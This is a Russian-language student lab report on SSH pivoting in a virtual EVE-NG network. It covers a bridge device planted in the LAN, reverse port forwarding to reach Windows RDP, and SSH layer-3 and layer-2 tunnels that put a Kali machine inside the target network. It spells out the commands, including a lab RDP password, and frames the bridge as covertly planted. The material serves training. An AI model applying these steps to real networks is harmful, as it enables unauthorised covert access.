# Практика №4. Revers Shells & Reverse SSH connections ## Задание к практической работе №4 - Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) - Настроить каждое устройство в соответсвии со следующими параметрами: - Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP - устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2) --- ## Выполнение практической работы ### Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать) При выполнении данного пункта было решено модифицировать инфраструктуру из предыдущей практики №3. На устройствах pfSense и Switch были настроены VLAN 10 и VLAN 20 c сетями 172.16.10.0/24 и 172.16.20.0/24 соотстветсвенно. Кроме того, все версии систем были заменены на актуальные, кроме Debian: Kali-2021 -> Kali22, Win-7 -> Win7en, Win-10 -> Win10ru, Pfsense 2.5.2 -> Pfsense 2.6.0. ![](https://i.imgur.com/t9S2woK.png) Перед работой на всех машинах был выключен внутренний фаервол и антивирус, как на скрине ниже. ![](https://i.imgur.com/stIdMD0.png) ![](https://i.imgur.com/Kagrmtp.png) В том числе было включено удалённое подключение. ![](https://i.imgur.com/KxxAhjP.png) Ну и не забудем на будущее включить SSH на Kali при помощи команд: ``` sudo systemctl enable ssh sudo service ssh start ``` ![](https://i.imgur.com/2G1FsjF.png) Для данной работы так же необходимо исправить sshd_config ``` sudo nano /etc/ssh/sshd_config ``` Там необходимо убрать '#' и прописать рядом 'yes' с параметрами PermitRootLogin и PermitTunnel. PermitRootLogin отвечает за то, чтобы была включена/выключена возможность заходить под аккаунтом root-пользователя. PermitTunnel предназначен для разрешения/запрета использования туннелей. Они могут использоваться, например, для VPN-подключений через SSH, поэтому весь трафик в целевую сеть направляется через туннель. После изменений необходимо перезапустить сервис ssh. ``` sudo service ssh restart ``` > **Туннелирование** представляет собой метод построения сетей, при котором один сетевой протокол инкапсулируется в другой ![](https://i.imgur.com/7Sv6tzC.png) ![](https://i.imgur.com/Qclkz3X.png) ![](https://i.imgur.com/n2R8Q2c.png) ![](https://i.imgur.com/LEi83WM.png) Так же необходимо для дальнейшего исправить конфиг sysctl, разрешив там ip_forward, убрав '#'. ``` nano /etc/sysctl.conf ``` Настраивает переадресацию IP-адресов в системе Linux. Если сервер Linux действует как брандмауэр, маршрутизатор или устройство NAT, он должен быть способен пересылать пакеты, предназначенные для других адресатов (кроме него самого). :::danger **!!ВАЖНОЕ ЗАМЕЧАНИЕ!!** После закрытия лабаторной работы IP некоторых устройств менются, поэтому неудивительно, что на некоторых скриншотах разные IP одних и тех же устройств! ::: ### Настроить каждое устройство в соответсвии со следующими параметрами: #### Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP Windows7 и Windows10 получают свои адреса автоматически. ![](https://i.imgur.com/cOpwfNc.png) ![](https://i.imgur.com/2XIcq0K.png) Для того, чтобы получить адрес для устройства Debian, необходимо прописать команду dhclient. ![](https://i.imgur.com/OIp3Yks.png) #### Устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2) > **Сетевой мост** работает на канальном уровне сетевой модели OSI (L2), при получении из сети кадра сверяет MAC-адрес последнего и, если он не принадлежит данной подсети, передает (транслирует) кадр дальше в тот сегмент, которому предназначался данный кадр; если кадр принадлежит данной подсети, мост ничего не делает. Для того, чтобы настроить мост на debian-машине необходимо сначала скачать bridge-utils при помощи следующей команды: ``` apt install bridge-utils ``` > Администрирование осуществляется утилитой brctl из пакета bridge-utils который есть практически во всех дистрибутивах. ![](https://i.imgur.com/i8l0wnc.png) Далее настроим /etc/network/interfaces ``` nano /etc/network/interfaces ``` ![](https://i.imgur.com/HwXTjS2.png) :::info **auto interface** – запуск интерфейса при загрузке. **inet manual** – не определять IP-адрес для интерфейса. Обычно используется интерфейсами, которые являются мостовыми или агрегирующими элементами, интерфейсами, которым необходимо работать в неразборчивом режиме (например, зеркальное отображение портов или сетевые подключения), или на которых настроено устройство VLAN. Это способ поддерживать работоспособность интерфейса без указания IP-адреса. **inet dhcp** – получение IP-адреса по протоколу DHCP. **bridge_ports** – необходимо определить элементы моста. ::: Проверим, что наш мост работает запустив tcpdump. > **tcpdump** -- это сниффер пакетов с интерфейсом командной строки. Эта программа представляет собой анализатор пакетов, который используется для захвата или фильтрации разнообразных сетевых пакетов Для начала установим данную утилиту. ``` apt install tcpdump ``` И используем уже сразу фильтруя вывод приходящего трафик по протоколу ICMP, отвечающему за пинг. ``` tcpdump -i br0 | grep ICMP ``` При этом на одной из Windows-машинок пингуем интернет, чтобы был какой-то результат. ![](https://i.imgur.com/neFw3Dw.png) ![](https://i.imgur.com/RNbE6jB.png) Так как debian выводит результат, который и ожидался, то делаем вывод, что мост работает и трафик сквозь него проходит. Таким образом, мы внедрили в чужую локальную сеть свою машину без их ведома. ### PORT FORWARDING AND SSH REVERSE Данный метод мы уже опробовали в практической работе №3, но здесь мы немного изменим подход. В принципе, данный метод не требует подробного объяснения, поскольку он описан в третьей работе. Для начала воспользуемся debian машинкой, прокидывая порты через неё на одну из Windows-устройств. ``` ssh -R 1111:172.16.20.11:3389 user@192.168.192.131 ``` Здесь мы используем IP Windows10 вместо того же localhost, который использовали ранее. Получается, что мы имеем одно устройство посередине - debian. ![](https://i.imgur.com/ZVjiD0Y.png) Смотрим, что порт появился на kali: ``` ss -tlnp ``` ![](https://i.imgur.com/RlyHVaG.png) Да, порт 1111 пристуствует. Вновь пытаемся соединиться с Windows при помощи логина и пароля, но подключаясь при этом к своему порту (который в дальнейшем прербросит наше соединение). ``` xfreerdp /u:user /p:eve@123 /v:127.0.0.1:1111 ``` ![](https://i.imgur.com/sO6UEpA.png) Видим, что окошко открывается, значит, всё прошло успешно, мы подключились к Windows10 :) ![](https://i.imgur.com/grt6OP3.png) --- ## SSH tunneling L3 > L3 -- сетевой уровень. Эти каналы связи выполняют маршрутизацию с использованием IP-адресов. Для построения простейшего тоннеля с помощью ssh используется флаг `-w` и конструкция `-w <номер_локального_интерфейса>:<номер_удалённого_интерфейса>`. Не забываем указывать параметры для подключения к kali `<логин_пользователя>@<ip_kali>` ``` ssh -w 0:0 root@192.168.192.131 ``` ![](https://i.imgur.com/7w7xTde.png) Видим, что подключение прошло. Далее нам необходимо проверить, что тоннель поднялся на нашей kali. Для этого пропишем `ip a`. Данная команда выводит все сетевые интерфейсы. На снимке экрана ниже видно, что тоннель под названием tun0 появился, но находится в неактивном состоянии. ![](https://i.imgur.com/a5xcO9V.png) Как видно, на нём не стоит никакого IP, поэтому необходимо поставить его командой: ``` ip addr add 10.100.0.1/24 dev tun0 ``` Эта команда добавит IP 10.100.0.1 на интерфейс тоннеля tun0. ![](https://i.imgur.com/eqtwsvH.png) Далее поднимаем этот тоннель в рабочее состояние. ``` ip link set tun0 up ``` И вновь смотрим на вывод команды `ip a`. Да, действительно, теперь этот тоннель рабочий. ![](https://i.imgur.com/yJITCNU.png) Далее нам необходимо проделать всё то же самое, но на debian-машинке. Наблюдаем тоннель на ней. ![](https://i.imgur.com/46jPuly.png) Прописываем ей IP и поднимаем. ``` ip addr add 10.100.0.2/24 dev tun0 ip link set tun0 up ``` ![](https://i.imgur.com/9daO3qM.png) Снова проверяем её состояние. Работает! ![](https://i.imgur.com/9zC6mjn.png) Далее нам необходима следующая настройка: ``` iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE ``` Флаг -t, указывает используемую таблицу, если данный ключ не указан, то по умолчанию используется таблица filter. Запись добавляется в цепочку POSTROUTING и предписывает выполнить действие маскарадинга, использующих в качестве исходящего внешний интерфейс br0. > **MASQUERADE** (маскарадинг) самостоятельно получает IP-адрес от заданного сетевого интерфейса и не требует его явного указания (это удобно если на внешнем интерфейсе используется динамический IP-адрес). Вторая особенность MASQUERADE в том, что при остановке интерфейса таблица трансляций полностью очищается и все текущие соединения разрываются. Причина такого поведения в том, что при следующем запуске интерфейса имеется возможность получить новый IP-адрес и все текущие записи сразу окажутся неверны. ![](https://i.imgur.com/yyyGbqD.png) После этого нам нужно будет настроить маршрутизацию на kali, чтобы она понимала куда ей необходимо идти, когда мы будем использовать локальную сетку. Для этого пропишем: ``` ip route add 192.168.1.0/24 via 10.100.0.2 ip route add 172.16.20.0/24 via 10.100.0.2 ip route add 172.16.10.0/24 via 10.100.0.2 ``` ![](https://i.imgur.com/s1CSZuk.png) ![](https://i.imgur.com/u46auVV.png) Теперь kali знает на какой гейтвей ей идти, чтобы найти данные сетки. Попробуем пропинговать windows10 и проверить правильность нашей работы. ``` ping 172.16.20.11 ``` ![](https://i.imgur.com/81UaRl2.png) Windows отвечает, а значит самое время протянуть свои ручки и удалённо подключиться по тоннелю. Используем xfreerdp. ``` xfreerdp /u:user /p:eve@123 /v:172.10.20.11:3389 ``` Стоит заметить, что мы используем в этот раз локальный IP-адрес устройства. ![](https://i.imgur.com/GB1TuxC.png) Доступ был получен. --- ## SSH tunneling L2 Когда туннель установлен, SSH создает устройство TAP (virtual ethernet tunnel) на каждом компьютере. Он ведет себя скорее как виртуальный провод. Таким образом, его нельзя использовать напрямую – необходимо создать виртуальный мост и добавить к нему это устройство TAP, рассматривая мост как сетевую карту. Поскольку это l2, то трафик ARP, dhcp и т.д. может свободно передаваться между физическими сетями, как если бы они были единой. Для создания l2-тоннеля нам понадобится вновь установить ssh-соединение с дополнительными характеристиками. ``` ssh root@192.168.192.131 -o Tunnel=ethernet -w any:any ``` Флаг`-o` предназначен для указания параметра файла конфигурации в командной строке. Мы используем Tunnel=ethernet для настройки туннеля уровня 2. Используется всё та же констукция с флагом `-w`, для указания интерфейсов. ![](https://i.imgur.com/2zrWDbT.png) Проверяем, что тоннель появился при помощи `ip a`. Видим в самом конце tap0. ![](https://i.imgur.com/Gyd11sX.png) Проверяем это так же на нашем debian'е. И там он обнаружился. ![](https://i.imgur.com/eo0VUd2.png) Продолжаем настройку на debian, открыв окно следующей сессии. Используя brctl show, мы можем просмотреть все доступные сетевые мосты на вашем сервере. Используем это. ``` brctl show ``` ![](https://i.imgur.com/13rQ0dB.png) Необходимо добавить на мост ещё один интерфейс, то есть наш тоннель. Делаем это и снова смотрим. ``` brctl addif br0 tap0 brctl show ``` ![](https://i.imgur.com/ekrtyaS.png) Поднимаем тоннель на debian и на kali. ``` ip link set dev tap0 up ``` ![](https://i.imgur.com/rGQ7Xvf.png) ![](https://i.imgur.com/Tv1c7YZ.png) После этого воспользуемся dhclient на том самом тоннеле и увидим интересную вещь. Наша kali получила ip локальной сети. ``` dhclient tap0 ``` Теперь мы можем действовать на этом тоннеле так, будто мы находимся внутри сети. ![](https://i.imgur.com/s2LqxPH.png) Далее можем делать с сетью всё, что захотим. Например, запустим утилиту tcpdump и посмотрим какой трафик идёт мимо.. Видим Switch-устройство. ![](https://i.imgur.com/A5exhIn.png) И даже фаервол, который любезно с нами переговаривается. ![](https://i.imgur.com/cpbt1k1.png)